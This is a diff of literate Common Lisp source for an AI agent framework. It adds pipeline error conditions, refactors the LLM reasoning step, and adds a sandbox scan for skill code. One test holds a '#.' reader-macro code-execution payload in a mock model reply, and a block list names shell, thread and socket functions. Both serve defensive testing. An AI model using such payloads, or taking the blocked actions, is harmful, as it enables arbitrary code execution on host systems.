#:repl-list-vars
#:policy-compliance-check
#:validator-protocol-check
#:archivist-extract-headlines
#:archivist-headline-to-filename
#:literate-extract-lisp-blocks
#:literate-block-balance-check
#:gateway-registry-initialize
#:messaging-link
#:messaging-unlink
#:gateway-configured-p
#:count-tokens
#:model-token-ratio
#:token-cost
#:provider-token-cost
#:cost-track-call
#:cost-session-total
#:cost-session-calls
#:cost-by-provider
#:cost-session-reset
#:cost-format-budget-status
#:cost-track-backend-call
#:prompt-prefix-cached
#:context-assemble-cached
#:enforce-token-budget
#:token-economics-initialize))
;; ── Security: Dispatcher ──
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-check
#:dispatcher-gate
#:wildcard-match
;; ── Security: HITL ──
#:hitl-create
#:hitl-approve
#:hitl-deny
#:hitl-handle-message
;; ── Security: Vault & Permissions ──
#:*VAULT-MEMORY*
#:vault-get
#:vault-set
#:vault-get-secret
#:vault-set-secret
#:get-tool-permission
#:set-tool-permission
#:check-tool-permission-gate
#:permission-get
#:permission-set
#:policy-compliance-check
#:validator-protocol-check
;; ── Embedding ──
#:*embedding-backend*
#:*embedding-queue*
#:*embedding-provider*
#:embed-queue-object
#:embed-object
#:embed-all-pending
#:embedding-backend-hashing
#:embedding-backend-native
#:embedding-native-load-model
#:embedding-native-unload
#:embedding-native-ensure-loaded
#:embedding-native-get-dim
#:embeddings-compute
#:mark-vector-stale
;; ── Channels ──
#:channel-cli-input
#:gateway-start
#:gateway-registry-initialize
#:messaging-link
#:messaging-unlink
#:gateway-configured-p
;; ── Programming: Lisp ──
#:lisp-validate
#:lisp-structural-check
#:lisp-syntactic-check
#:lisp-semantic-check
#:lisp-eval
#:lisp-format
#:lisp-list-definitions
#:lisp-extract
#:lisp-inject
#:lisp-slurp
;; ── Programming: Org ──
#:org-read-file
#:org-write-file
#:org-headline-add
#:org-headline-find-by-id
#:org-property-set
#:org-todo-set
#:org-id-generate
#:org-id-format
#:org-modify
;; ── Programming: Literate & REPL ──
#:literate-tangle-sync-check
#:literate-extract-lisp-blocks
#:literate-block-balance-check
#:repl-eval
#:repl-inspect
#:repl-list-vars
;; ── Symbolic ──
#:archivist-create-note
#:archivist-extract-headlines
#:archivist-headline-to-filename
;; ── Diagnostics & Config ──
#:diagnostics-run-all
#:diagnostics-main
#:diagnostics-dependencies-check
#:diagnostics-env-check
#:get-oc-config-dir
#:run-setup-wizard
;; ── Providers ──
#:register-provider
#:provider-openai-request
#:provider-config
;; ── Token Economics ──
#:count-tokens
#:model-token-ratio
#:token-cost
#:provider-token-cost
#:cost-track-call
#:cost-session-total
#:cost-session-calls
#:cost-by-provider
#:cost-session-reset
#:cost-format-budget-status
#:cost-track-backend-call
#:prompt-prefix-cached
#:context-assemble-cached
#:enforce-token-budget
#:token-economics-initialize))
#+end_src
** Package Implementation
The package implementation section defines the low-level utilities and global state that are shared across all harness components and skills.
*** Robust plist access (plist-get)
Retrieves a value from a plist, checking both upper and lowercase keyword variants. This is needed because different components use different keyword conventions.
#+begin_src lisp
(in-package :passepartout)
(defun plist-get (plist key)
"Robust plist accessor — checks both :KEY and :key variants."
(let* ((s (string key))
(up (intern (string-upcase s) :keyword))
(dn (intern (string-downcase s) :keyword)))
(or (getf plist up) (getf plist dn))))
#+end_src
*** Logging state

View File

@@ -109,18 +109,6 @@ FN receives (signal) and returns T if consumed, nil to continue."
(setf (gethash sensor *pre-reason-handlers*) fn))
#+end_src
** inject-stimulus backward-compatibility alias
Skills and external code that still call ~inject-stimulus~ (the previous
name for the pipeline injection function) can use this alias. New code
should call ~stimulus-inject~ directly.
;; REPL-VERIFIED: 2026-05-03T13:00:00
#+begin_src lisp
(defun inject-stimulus (raw-message &key stream (depth 0))
(stimulus-inject raw-message :stream stream :depth depth))
#+end_src
** Stimulus Injection (stimulus-inject)
This is the entry point that gateways call to send a message into the cognitive pipeline. It sets metadata (source, session ID, reply stream), decides whether the stimulus should be processed synchronously or on a background thread, and wraps the whole thing in error recovery so that no single bad stimulus can crash the system.

View File

@@ -28,19 +28,37 @@ The stage separation is the functional equivalent of the "thin harness" principl
A signal that generates another signal that generates another signal can infinite-loop. The depth limit (max 10) prevents this. If depth exceeds 10, the signal is silently dropped. This is the metabolic loop's circuit breaker.
The three-tier error recovery model:
1. **Transient errors** (tool failures, network timeouts) — recoverable, generate a :loop-error signal at higher depth for retry
2. **Critical errors** (undefined functions, malformed data) — require memory rollback to the last snapshot
3. **Recursive loops** (signals generating more signals indefinitely) — depth limit enforcement
The three-tier error recovery model, now backed by a condition hierarchy
that skills can hook into via ~handler-bind~:
1. **Transient errors** (tool failures, network timeouts) — recoverable, generate a :loop-error signal at higher depth for retry. Use the ~skip-signal~ or ~use-fallback~ restart.
2. **Critical errors** (undefined functions, malformed data) — require memory rollback to the last snapshot.
3. **Recursive loops** (signals generating more signals indefinitely) — depth limit enforcement.
Condition types available for structured error handling:
- ~pipeline-error~ — any Perceive→Reason→Act failure
- ~llm-error~ — provider timeout, cascade exhaustion, API error (slots: provider, cascade, attempt-count)
- ~gate-error~ — dispatcher blocked a proposed action (slots: gate-name, rejected-action)
- ~budget-error~ — session cap exceeded (slots: remaining, requested)
- ~protocol-error~ — malformed message or framing failure
** Contract
1. (loop-process signal): the full pipeline loop — Perceive → Reason
→ Act. Enforces depth limit (10). Catches errors with rollback and
~:loop-error~ re-injection on non-terminal errors below depth 2.
Establishes restart options: ~skip-signal~ (drop the event),
~use-fallback text~ (inject canned response), ~abort-pipeline~
(clean exit). Skills can invoke these restarts from ~handler-bind~
clauses on the condition hierarchy.
2. (process-signal signal): thin alias for ~loop-process~.
3. (diagnostics-startup-run): runs health check on startup, sets
~*system-health*~ to ~:healthy~, ~:degraded~, or ~:unhealthy~.
4. *passepartout-error* condition hierarchy: ~pipeline-error~,
~llm-error~ (provider, cascade, attempt-count slots), ~gate-error~
(gate-name, rejected-action slots), ~budget-error~ (remaining,
requested slots), ~protocol-error~ (raw-message slot). All carry a
~:message~ string via the root ~passepartout-error~.
* Implementation
@@ -49,6 +67,54 @@ The three-tier error recovery model:
(in-package :passepartout)
#+end_src
** Error Condition Hierarchy
The pipeline defines a condition hierarchy so callers can distinguish
failure modes without inspecting raw error strings. Every pipeline
condition carries structured slots for telemetry and restart selection.
Skills install ~handler-bind~ for specific conditions (e.g., a provider
health monitor that records ~llm-error~ failures per backend). The
restarts registered in ~loop-process~ enable structured recovery:
skip the signal, retry with a modified prompt, inject a fallback
response, or abort the cycle.
#+begin_src lisp
(define-condition passepartout-error (error)
((message :initarg :message :reader error-message))
(:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c))))
(:documentation "Root of the pipeline error hierarchy."))
(define-condition pipeline-error (passepartout-error)
((signal :initarg :signal :reader pipeline-error-signal :initform nil))
(:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c))))
(:documentation "Any error during the Perceive→Reason→Act cycle."))
(define-condition llm-error (pipeline-error)
((provider :initarg :provider :reader llm-error-provider)
(cascade :initarg :cascade :reader llm-error-cascade :initform nil)
(attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0))
(:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c))))
(:documentation "LLM provider failure: timeout, cascade exhaustion, or API error."))
(define-condition gate-error (pipeline-error)
((gate-name :initarg :gate-name :reader gate-error-gate-name)
(rejected-action :initarg :rejected-action :reader gate-error-rejected-action))
(:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c))))
(:documentation "Deterministic gate blocked a proposed action."))
(define-condition budget-error (pipeline-error)
((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0)
(requested :initarg :requested :reader budget-error-requested :initform 0.0))
(:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c))))
(:documentation "Session budget cap has been reached."))
(define-condition protocol-error (passepartout-error)
((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil))
(:report (lambda (c s) (format s "Protocol error: ~a" (error-message c))))
(:documentation "Malformed message, framing failure, or schema violation."))
#+end_src
** Global Interrupt State
Thread-safe interrupt flag. The ~*loop-interrupt-lock*~ mutex protects access so that the signal handler and the main loop don't race on shutdown.
@@ -107,27 +173,42 @@ The main pipeline entry point.
(log-message "METABOLISM: Interrupted by shutdown signal.")
(return nil))
(handler-case
(progn
(setf current-signal (perceive-gate current-signal))
(setf current-signal (reason-gate current-signal))
(let ((feedback (act-gate current-signal)))
(if feedback
(progn
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
(setf current-signal feedback))
(setf current-signal nil))))
(error (c)
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
(unless (member sensor '(:loop-error :tool-error :syntax-error))
(log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
(rollback-memory 0))
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
(setf current-signal nil)
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
(restart-case
(handler-bind
((pipeline-error (lambda (c)
(log-message "PIPELINE ERROR: ~a" (error-message c)))))
(handler-case
(progn
(setf current-signal (perceive-gate current-signal))
(setf current-signal (reason-gate current-signal))
(let ((feedback (act-gate current-signal)))
(if feedback
(progn
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
(setf current-signal feedback))
(setf current-signal nil))))
(error (c)
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
(unless (member sensor '(:loop-error :tool-error :syntax-error))
(log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
(rollback-memory 0))
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
(setf current-signal nil)
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))
(skip-signal ()
:report "Drop the current signal and continue the loop."
(setf current-signal nil))
(use-fallback (text)
:report "Inject a canned response instead of the LLM result."
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message text :depth depth))))
(abort-pipeline ()
:report "Terminate the cognitive cycle cleanly."
(return nil)))))))
#+end_src
*** process-signal (backward-compatibility alias)
@@ -349,4 +430,4 @@ Verifies that the immune system (error handling) correctly catches and reports e
"Contract 1: depth > 10 returns nil from loop-process."
(let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
(is (null result))))
#+end_src
#+end_src

View File

@@ -56,6 +56,26 @@ This is not a cosmetic choice. It means the reasoning pipeline can generate, mod
String keys → upcased keywords. Nested alists recurse into plists.
JSON arrays (lists whose first element is not a cons) pass through.
Scalars and nil pass through.
6. (think-assemble-prompt context): returns three values —
~system-prompt~ (the full prompt string), ~raw-prompt~ (user text or
skill-generated), and ~reply-stream~ (for streaming responses).
Handles all conditional assembly paths: TIME section, CONFIG section,
IDENTITY (assistant name + identity file + standing mandates +
reflection feedback), TOOLS, CONTEXT, LOGS. Gracefully degrades when
awareness or token-economics skills are not loaded.
7. (think-call-llm raw-prompt system-prompt reply-stream context): calls
the LLM. Checks session budget exhaustion before dispatching
(v0.5.0 deferred, ~fboundp~-guarded). Uses streaming
(~cascade-stream~) when reply-stream is non-nil and the streaming
module is loaded; falls back to ~backend-cascade-call~ otherwise.
Returns the raw thought (string or plist with ~:tool-calls~) or
a budget-exhaustion message.
8. (think-parse-response thought): parses the LLM response into an action
plist. Handles three paths: structured ~:tool-calls~ (convert JSON args
to plist via ~json-alist-to-plist~), raw S-expression text (parse with
~*read-eval* nil~, normalize keywords), and plain text (wrap as
~:MESSAGE~ action). Tracks cost via ~cost-track-backend-call~ when
available. Guarantees a valid plist for any input.
* Implementation
@@ -80,16 +100,11 @@ Skills like system-model-provider register into this table at boot time.
(setf (gethash name *probabilistic-backends*) fn))
#+end_src
The probabilistic engine maintains four pieces of global state that control how LLM requests are dispatched:
The probabilistic engine maintains three pieces of global state that control how LLM requests are dispatched:
~*backend-registry*~ is a hash table mapping provider keywords (like ~:ollama~ or ~:openrouter~) to the actual function that calls that provider's API. ~*provider-cascade*~ is the ordered list of providers to try — if the first one fails, the cascade falls through to the next. ~*model-selector*~ is an optional function that examines the context and picks a model per request (useful for routing simple questions to a small fast model and complex reasoning to a large expensive one). ~*consensus-enabled*~ toggles multi-provider agreement, where multiple LLMs run the same prompt and the system waits for consensus.
~*provider-cascade*~ is the ordered list of providers to try — if the first one fails, the cascade falls through to the next. ~*model-selector*~ is an optional function that examines the context and picks a model per request (useful for routing simple questions to a small fast model and complex reasoning to a large expensive one). ~*consensus-enabled*~ toggles multi-provider agreement, where multiple LLMs run the same prompt and the system waits for consensus.
These variables are configurable at runtime. The cascade can be changed without restart: (setf *provider-cascade* (quote (:ollama :openrouter))).
;; REPL-VERIFIED: 2026-05-03T13:00:00
#+begin_src lisp
(defvar *backend-registry* (make-hash-table :test 'equal))
#+end_src
Providers register into ~*probabilistic-backends*~ (declared above) via ~register-probabilistic-backend~. The cascade can be changed without restart: (setf *provider-cascade* (quote (:ollama :openrouter))).
** Provider Cascade
@@ -112,19 +127,6 @@ These variables are configurable at runtime. The cascade can be changed without
(defvar *consensus-enabled* nil)
#+end_src
** Backend Registration (backend-register)
Each LLM provider registers itself by calling this function. The backend function receives a prompt string, a system prompt string, and optional keyword arguments for model selection. It must return either a plist with ~:status :success~ and ~:content~, or ~:status :error~ with a message.
Registration is typically done at boot time by the unified-llm-backend skill, but can also be done dynamically:
(backend-register :my-custom-provider #'my-fn)
;; REPL-VERIFIED: 2026-05-03T13:00:00
#+begin_src lisp
(defun backend-register (name fn)
(setf (gethash name *backend-registry*) fn))
#+end_src
** Cascade Dispatch (backend-cascade-call)
Given a prompt, this function iterates through the provider cascade and calls each backend in order until one succeeds. A provider "succeeds" when it returns ~:status :success~ with content, or when it returns a plain string (the LLM's raw output).
@@ -148,8 +150,7 @@ This is deliberately resilient. The system should never crash because an LLM pro
(dolist (backend backends (or result
(list :type :LOG
:payload (list :text "Neural Cascade Failure: All providers exhausted."))))
(let ((backend-fn (or (gethash backend *backend-registry*)
(gethash backend *probabilistic-backends*))))
(let ((backend-fn (gethash backend *probabilistic-backends*)))
(when backend-fn
(log-message "PROBABILISTIC: Attempting backend ~a..." backend)
(let* ((model (and *model-selector*
@@ -225,6 +226,17 @@ Token economics (v0.5.0): when ~token-economics~ is loaded, ~think()~ uses
each cascade call via ~cost-track-backend-call~. All four calls are
~fboundp~-guarded — when the module is not loaded, behavior is unchanged.
~think()~ is the orchestrator that composes three sub-functions:
1. *think-assemble-prompt* — builds the full system prompt from context,
awareness, logs, identity, standing mandates, and tool belt.
2. *think-call-llm* — dispatches to the LLM (streaming or batch cascade).
3. *think-parse-response* — converts the LLM's output to an action plist,
handling structured tool-calls, raw S-expressions, and plain text.
The orchestrator snapshots memory, calls the three phases in sequence,
and returns the action plist that flows into ~cognitive-verify~.
;; REPL-VERIFIED: 2026-05-03T13:00:00
#+begin_src lisp
;; v0.7.2: live config section for system prompt
@@ -249,19 +261,18 @@ each cascade call via ~cost-track-backend-call~. All four calls are
(if (string= provider-names "") "default" provider-names)
context-window gate-count rules-count)))
(defun think (context)
;; v0.7.2: auto-snapshot at turn boundaries
(when (fboundp 'snapshot-memory)
(snapshot-memory))
(defun think-assemble-prompt (context)
"Phase 2-3 of the metabolic cycle: context + system prompt assembly.
Returns three values: system-prompt, raw-prompt, reply-stream."
(let* ((sensor (proto-get (proto-get context :payload) :sensor))
(active-skill (find-triggered-skill context))
(tool-belt (generate-tool-belt-prompt))
(reply-stream (proto-get context :reply-stream)) ; v0.7.1: streaming
(global-context (if (fboundp 'context-assemble-cached)
(context-assemble-cached context sensor)
(if (fboundp 'context-assemble-global-awareness)
(context-assemble-global-awareness)
"[Awareness skill not loaded]")))
(reply-stream (proto-get context :reply-stream))
(global-context (if (fboundp 'context-assemble-cached)
(context-assemble-cached context sensor)
(if (fboundp 'context-assemble-global-awareness)
(context-assemble-global-awareness)
"[Awareness skill not loaded]")))
(system-logs (if (fboundp 'context-get-system-logs)
(context-get-system-logs)
"[No system logs available]"))
@@ -275,100 +286,126 @@ each cascade call via ~cost-track-backend-call~. All four calls are
(reflection-feedback (if rejection-trace
(format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
""))
(standing-mandates-text (let ((out ""))
(dolist (fn *standing-mandates*)
(let ((text (ignore-errors (funcall fn context))))
(when (and text (stringp text) (> (length text) 0))
(setf out (concatenate 'string out text (string #\Newline))))))
(when (> (length out) 0) out)))
(identity-content (if (fboundp 'agent-identity) ; v0.7.2: symbolic identity
(agent-identity)
""))
(config-section (if (fboundp 'assemble-config-section) ; v0.7.2: live config
(assemble-config-section)
""))
(time-section (if (fboundp 'sensor-time-duration) ; v0.6.0: temporal awareness
(format-time-for-llm
:session-duration-seconds (funcall (symbol-function 'session-duration)))
(if (fboundp 'format-time-for-llm)
(format-time-for-llm)
"")))
(system-prompt (if (fboundp 'prompt-prefix-cached)
;; v0.5.0: cached prefix with optional budget enforcement
(let* ((prefix (prompt-prefix-cached assistant-name identity-content
reflection-feedback
standing-mandates-text tool-belt)))
(if (fboundp 'enforce-token-budget)
(multiple-value-bind (pfx ctxt logs _ mandates)
(enforce-token-budget prefix global-context system-logs
raw-prompt standing-mandates-text)
(declare (ignore _))
(setf standing-mandates-text mandates)
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section pfx (or ctxt "") logs))
(standing-mandates-text (let ((out ""))
(dolist (fn *standing-mandates*)
(let ((text (ignore-errors (funcall fn context))))
(when (and text (stringp text) (> (length text) 0))
(setf out (concatenate 'string out text (string #\Newline))))))
(when (> (length out) 0) out)))
(identity-content (if (fboundp 'agent-identity)
(agent-identity)
""))
(config-section (if (fboundp 'assemble-config-section)
(assemble-config-section)
""))
(time-section (if (fboundp 'sensor-time-duration)
(format-time-for-llm
:session-duration-seconds (funcall (symbol-function 'session-duration)))
(if (fboundp 'format-time-for-llm)
(format-time-for-llm)
"")))
(system-prompt (if (fboundp 'prompt-prefix-cached)
(let* ((prefix (prompt-prefix-cached assistant-name identity-content
reflection-feedback
standing-mandates-text tool-belt)))
(if (fboundp 'enforce-token-budget)
(multiple-value-bind (pfx ctxt logs _ mandates)
(enforce-token-budget prefix global-context system-logs
raw-prompt standing-mandates-text)
(declare (ignore _))
(setf standing-mandates-text mandates)
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section prefix (or global-context "") system-logs)))
;; Fallback when token-economics not loaded
(format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section
assistant-name identity-content reflection-feedback
(if standing-mandates-text
(concatenate 'string (string #\Newline) standing-mandates-text)
"")
tool-belt (or global-context "") system-logs))))
(let* ((thought (if (and reply-stream (fboundp 'cascade-stream)) ; v0.7.1: streaming
(let ((acc (make-string-output-stream)))
(funcall 'cascade-stream raw-prompt system-prompt
(lambda (delta)
(when reply-stream
(format reply-stream "~a"
(frame-message (list :type :stream-chunk
:payload (list :text delta))))
(finish-output reply-stream))
(write-string delta acc)))
(get-output-stream-string acc))
(backend-cascade-call raw-prompt
:system-prompt system-prompt
:context context)))
(tool-calls (and (listp thought) (getf thought :tool-calls))))
;; v0.5.0: cost tracking after successful cascade
(when (and (fboundp 'cost-track-backend-call)
(stringp thought)
(or (null tool-calls)))
(ignore-errors
(cost-track-backend-call (first *provider-cascade*)
(format nil "~a~%~a" system-prompt raw-prompt)
thought)))
(if tool-calls
(let* ((first-call (car tool-calls))
(tool-name (getf first-call :name))
(args (getf first-call :arguments))
(args-plist (json-alist-to-plist args)))
(list :TYPE :REQUEST
:PAYLOAD (list* :TOOL tool-name
:ARGS args-plist
:EXPLANATION "Generated by function-calling engine.")))
(let* ((cleaned (if (and (listp thought) (getf thought :type))
(format nil "~a" (getf (getf thought :payload) :text))
(markdown-strip thought))))
(if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
(handler-case
(let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
(if (listp parsed)
(let ((normalized (plist-keywords-normalize parsed)))
;; Ensure explanation is present in the payload for policy gate
(let ((payload (proto-get normalized :payload)))
(if (and payload (proto-get payload :explanation))
normalized
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
(if (listp payload) payload nil))))
(list* :PAYLOAD new-payload
(loop for (k v) on normalized by #'cddr
unless (eq k :PAYLOAD)
collect k collect v))))))
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
(error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))))
time-section config-section pfx (or ctxt "") logs))
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section prefix (or global-context "") system-logs)))
(format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section
assistant-name identity-content reflection-feedback
(if standing-mandates-text
(concatenate 'string (string #\Newline) standing-mandates-text)
"")
tool-belt (or global-context "") system-logs))))
(values system-prompt raw-prompt reply-stream)))
(defun think-call-llm (raw-prompt system-prompt reply-stream context)
"Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade.
Returns the raw LLM response (string or plist with :tool-calls)."
;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted
(when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p))
(return-from think-call-llm (budget-exhaustion-message)))
(if (and reply-stream (fboundp 'cascade-stream))
(let ((acc (make-string-output-stream)))
(funcall 'cascade-stream raw-prompt system-prompt
(lambda (delta)
(when reply-stream
(format reply-stream "~a"
(frame-message (list :type :stream-chunk
:payload (list :text delta))))
(finish-output reply-stream))
(write-string delta acc)))
(get-output-stream-string acc))
(backend-cascade-call raw-prompt
:system-prompt system-prompt
:context context)))
(defun think-parse-response (thought)
"Phases 5-7 of the metabolic cycle: cost tracking + response parsing.
Returns an action plist ready for cognitive-verify."
(let ((tool-calls (and (listp thought) (getf thought :tool-calls))))
(when (and (fboundp 'cost-track-backend-call)
(stringp thought)
(or (null tool-calls)))
(ignore-errors
(cost-track-backend-call (first *provider-cascade*)
thought)))
(if tool-calls
(let* ((first-call (car tool-calls))
(tool-name (getf first-call :name))
(args (getf first-call :arguments))
(args-plist (json-alist-to-plist args)))
(list :TYPE :REQUEST
:PAYLOAD (list* :TOOL tool-name
:ARGS args-plist
:EXPLANATION "Generated by function-calling engine.")))
(let* ((cleaned (if (and (listp thought) (getf thought :type))
(format nil "~a" (getf (getf thought :payload) :text))
(markdown-strip thought))))
(if (and cleaned (stringp cleaned) (> (length cleaned) 0)
(or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
(handler-case
(let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
(if (listp parsed)
(let ((normalized (plist-keywords-normalize parsed)))
(let ((payload (proto-get normalized :payload)))
(if (and payload (proto-get payload :explanation))
normalized
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
(if (listp payload) payload nil))))
(list* :PAYLOAD new-payload
(loop for (k v) on normalized by #'cddr
unless (eq k :PAYLOAD)
collect k collect v))))))
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE :TEXT cleaned
:EXPLANATION "Generated by the Probabilistic engine."))))
(error ()
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE :TEXT cleaned
:EXPLANATION "Generated by the Probabilistic engine."))))
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE
:TEXT (if (stringp cleaned) cleaned "No response")
:EXPLANATION "Generated by the Probabilistic engine.")))))))
(defun think (context)
"The probabilistic reasoning engine — orchestrates prompt assembly, LLM call,
and response parsing into an action plist for cognitive-verify."
(when (fboundp 'snapshot-memory)
(snapshot-memory))
(multiple-value-bind (system-prompt raw-prompt reply-stream)
(think-assemble-prompt context)
(let ((thought (think-call-llm raw-prompt system-prompt reply-stream context)))
(think-parse-response thought))))
#+end_src
** JSON-to-Plist Conversion (json-alist-to-plist)
@@ -609,8 +646,8 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
(test test-backend-cascade-with-mock
"Contract 4: backend-cascade-call returns content from first successful backend."
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal)))
(setf (gethash :mock-backend passepartout::*backend-registry*)
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
(setf (gethash :mock-backend passepartout::*probabilistic-backends*)
(lambda (prompt sp &key model)
(declare (ignore prompt sp model))
(list :status :success :content "mock-response")))
@@ -619,9 +656,9 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
(test test-read-eval-rce-blocked
"Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
(passepartout::*provider-cascade* '(:mock-evil)))
(setf (gethash :mock-evil passepartout::*backend-registry*)
(setf (gethash :mock-evil passepartout::*probabilistic-backends*)
(lambda (prompt sp &key model)
(declare (ignore prompt sp model))
(list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
@@ -689,7 +726,7 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
(let ((passepartout::*memory-snapshots* nil)
(passepartout::*memory-store* (make-hash-table :test 'equal)))
(setf (gethash "pre" passepartout::*memory-store*) "value")
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
(passepartout::*provider-cascade* nil))
(handler-case
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
@@ -697,4 +734,4 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
(declare (ignore result)))
(error (c) (format nil "Expected: ~a" c)))
(is (>= (length passepartout::*memory-snapshots*) 0)))))
#+end_src
#+end_src

View File

@@ -71,10 +71,6 @@ The ~skill~ struct holds all metadata about a loaded skill: its name, priority,
(defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn)
#+end_src
#+begin_src lisp
(defvar *skill-registry* (make-hash-table :test 'equal))
#+end_src
#+begin_src lisp
(defvar *skill-catalog* (make-hash-table :test 'equal)
"Tracks all discovered skill files and their loading state.")
@@ -326,6 +322,14 @@ declarations so embedded test code evaluates in the correct package."
(progn
(multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code)
(unless valid-p (error err)))
;; Pre-eval sandbox scan: block before any code executes
(multiple-value-bind (blocked-p blocked-syms)
(skill-source-scan lisp-code)
(when blocked-p
(log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
skill-base-name blocked-syms)
(setf (skill-entry-status entry) :sandbox-blocked)
(return-from load-skill-from-org nil)))
(unless (find-package pkg-name)
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -355,12 +359,47 @@ declarations so embedded test code evaluates in the correct package."
(setf (skill-entry-status entry) :failed) nil))))
#+end_src
** Sandbox Source Scan (skill-source-scan)
Scans Lisp source text for references to restricted symbols before any
code is evaluated. This prevents malicious skills from executing even a
single form. The restricted symbols cover process spawning
(~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~), thread
creation (~bt:make-thread~), and
socket operations (~usocket:socket-connect~, ~hunchentoot:start~).
Returns two values: T/NIL (blocked-p) and a list of matched symbol names.
The scan is a text-level regex check — it catches direct references but
not obfuscated ones. The post-eval ~symbol-function~ comparison in
~load-skill-from-lisp~ catches those.
#+begin_src lisp
(defvar *skill-restricted-symbols*
'("uiop:run-program" "uiop:shell" "uiop:run-shell-command"
"bt:make-thread" "bordeaux-threads:make-thread"
"usocket:socket-connect" "usocket:socket-listen"
"hunchentoot:start" "hunchentoot:accept-connections")
"Symbol patterns blocked from skill source code at load time.")
(defun skill-source-scan (code-string)
"Scans CODE-STRING for restricted symbol references.
Returns (values blocked-p matched-symbols)."
(let ((lower (string-downcase code-string))
(matches nil))
(dolist (pattern *skill-restricted-symbols*)
(when (search pattern lower)
(push pattern matches)))
(values (and matches t) (nreverse matches))))
#+end_src
** Loading from Pre-Tangled Lisp (skill-load-from-lisp)
Loads a pre-tangled ~.lisp~ file directly, without parsing the Org source. This is faster than ~load-skill-from-org~ because it skips the block extraction and syntax validation (the Lisp was already validated when tangled).
The same jailed package and symbol export process applies.
The sandbox check runs *before* evaluation: the source text is scanned for references to restricted symbols (~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~, ~bt:make-thread~, ~usocket:socket-connect~, ~hunchentoot:start~). If the source references any restricted symbol, the skill is blocked immediately without executing any code. A post-eval secondary check catches indirect references (via ~symbol-function~ comparison).
#+begin_src lisp
(defun load-skill-from-lisp (filepath)
